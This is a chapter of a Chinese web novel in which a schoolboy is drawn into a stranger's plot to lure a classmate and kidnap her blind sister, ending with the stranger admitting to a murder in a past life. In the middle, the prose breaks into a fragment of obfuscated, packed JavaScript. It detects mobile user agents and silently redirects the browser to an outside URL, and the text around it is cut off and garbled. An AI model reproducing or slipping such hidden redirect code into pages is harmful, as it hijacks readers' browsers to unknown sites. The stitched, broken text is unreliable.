“那又怎么样呢?”那人丝毫不理会方盏用力的辩驳,什么尖锐的话语和眼神打在他的身上,也只不过是一点柔软的雨滴,“别人都这么认为了,你知道吗,你们班的同学都在背后说你要害死他,你不知道而已。” “……什么?”方盏撩眸,冷冷道,“谁说的。” “你不需要知道是谁,我知道你上一世生了病,宋未海没有给你钱,你知不知道有些癌症并不是死路一条,只要早点治疗就可以获得转机,换而言之,如果没有要钱时拖延的那些时间,或许你就被治好了呢?”男人轻声道,声音如鬼魅在耳边飘荡流转,“后面他的读者还来攻击你…...直到时间重来了,你还要被攻击,真是可怜的孩子,一辈子都活在宋未海的阴影之下,被沈余离这么欺负,你不想要反抗吗?不想要改变这种——” “你想怎么做?”方盏打断他,干脆道,“说。” “我可是很善良的人。”男人满意道,“动手的事情,只要我来就可以了。” . 元旦假期过后,蓬山三中进入了期末月,整个学校的气氛都不约而同地变得紧张起来,一大早,班主任就在班里宣布了周末留宿的方案,蓬山三中的期末月一向允许学生周末留校,中间可以自由出入校园,这样能节省一些同学的来回往返时间,除了像沈余离这种家里还有个妹妹的特殊情况,剩下的学生都被建议周末留校,就连宋未海、方盏和方舟也不例外。 周末的时候,沈余离和沈祈生来找宋未海吃饭,原来还约了方舟,不过方舟说她作业还没写完,先不去了,这也给方盏叫住方舟的机会,他托方舟室友通知方舟,告诉她中午在教室里见面。 中午的教师空无一人,整条走廊都非常安静。 “见个面搞得这么大费周章,手机上和我讲一声不就行了。”十二点,方舟准时来到教室,她身上还背着书包,有些狐疑地看向方盏,“怎么了?” “我……我手机前几天摔坏了,我想让妈多寄两床被子来,蓬山市太冷了。”方盏伸手,眼神飘向别处,却又很快恢复镇定,“你借我手机打个电话吧。” “嗯?”方舟没多犹豫,直接将手机递给了方盏,“摔坏了?我花点钱和你一起去修?” “没事没事,我留了现金,到时候附近随便找家维修店就行。”方盏接过方舟的手机,划开她的微信,找到沈余离的那一栏,面不改色地打下一句话:我晚上想去银芳街的书店借一本书,书名马上发你……但我明天有点急事要去办,你能不能帮我去拿一下?叫上宋未海一起去吧?我们三个两个一起会安全点。” 沈余离估计在等菜上齐,方盏刚发完书名,她就秒回:好。 方盏松了口气,赶紧删除两人的对话,再点开妈妈的对话框发了想要多加两床被子的消息,然后将手机还给方舟,笑到:“谢谢。” “什么时候变这么客气了。”方舟接过手机,还不忘调侃他一句,“以前你可不这样。” “…….”方盏沉默了半天,才缓缓憋出一句,“人总是会变的。” “这话从你嘴里说出来好诡异。”方舟面不改色地噎他,顺手把教室的门给关上了。 方盏见方舟的激动,不由得心中一跳,有些心虚道:“怎……怎么了?” “让让。”方舟示意方盏往里边儿坐点,然后直接坐到了他身边。 这下轮到方盏一头雾水了:“你怎么突然变那么奇怪?这是要干嘛啊?” “没有,就觉得来蓬山市之后,咱俩很少有机会坐一块儿写作业了。”方舟坐下,从包里拿出笔和纸,抬头瞟了眼方盏,“你上次地理卷不是没及格吗?我给你讲讲。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078655|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 担心方舟看出什么端倪,方盏只得顺势坐下,从桌肚里掏出了那张被揉烂的地理试卷,思绪却不由自主地飘向了其他方向。 那个人之前有跟他说明过详细的计划,他说方舟和沈余离关系很好,他只用通过方舟叫动沈余离就行,这件事,不会和方舟有任何的牵连,她只需要成为一个诱饵,诱导着猎物咬住钩子,再被铁钩钩得血肉淋漓。 当时男人告诉他,方盏只需要做两件事,第一件,是借方舟把沈余离引出来。 第二件事,是去绑架沈祈生。 “沈祈生?”方盏皱了下眉,“我好像听过这个名字。” “是沈余离的妹妹。”男人点点头,继续一脸平静地说出令人毛骨悚然的话,“我之前找到了他们家的地址,明天是周末,沈祈生一定会在家,到时候你顺着这个地址找过去,把她的妹妹带到另一个指定地点就好。” “我要提醒你一下,我并不是什么武林高手。”方盏有些好笑地开口,“虽然人姑娘力量没这么大,但绑走一个青年女孩儿让她完全不发出动静,好像还是挺困难的,走在路上也会很显眼。” “所以,你哄骗一下她就行了。”男人并不在意,“这小孩儿是盲人,不仅身体上有残缺,脑子也不大好使,你借用她姐姐的名头,她肯定马上就信了。” “……行吧。”方盏思考了片刻,觉得这件事倒也不是特别难实行,便答应下来,“然后呢,你打算怎么做?” “到时候,我会趁机把宋未海带走,把他和沈祈生放在两个地方,然后让沈余离二选一,看她救谁。”一想到接下来即将发生的情景,男人就兴奋得面目狰狞,眼中闪烁着令人胆寒的凶光,“当然,两个人我都不会放过,沈余离跟宋未海关系再怎么好,危急关头,她也一定会选择沈祈生,等到她赶到沈祈生那里时,我会亲眼让她看着她妹妹被杀——被伤害,至于宋未海,你们学校最近不是周末也允许留宿吗?我多关他一会儿,你帮我编个借口,到时候等我把他教训得不敢告状了,就放他回来。” 男人嘴角勾起,脸上浮现出一种方盏前所未见的疯狂:“我会很期待沈余离的反应,非常期待。” “既然是合作关系,我们总要信息对等吧。”方盏无视了他这般丧失人道的宣言,直接提出要求,“你到底是沈余离什么人,为什么这么恨她?” 方盏自己想了想,他有时候也想和沈余离动手,可他没想过哪天真的要他性命,不过这样的局面似乎也不奇怪,就凭沈余离那种我看你不爽我就开干的性格,得罪他人也是理所当然。 “我?我是谁,你不认得我这张脸吗——哦,不对,那时候,我的脸应该打上马赛克了。”男人似乎非常地骄傲,并不在意地摊牌道,“我猜你一定在上一世听过金琴小区有个女孩儿被杀了,那个时候的死者,是沈余离。” 然后,他毫不掩饰道:“至于杀死她的人,是我。”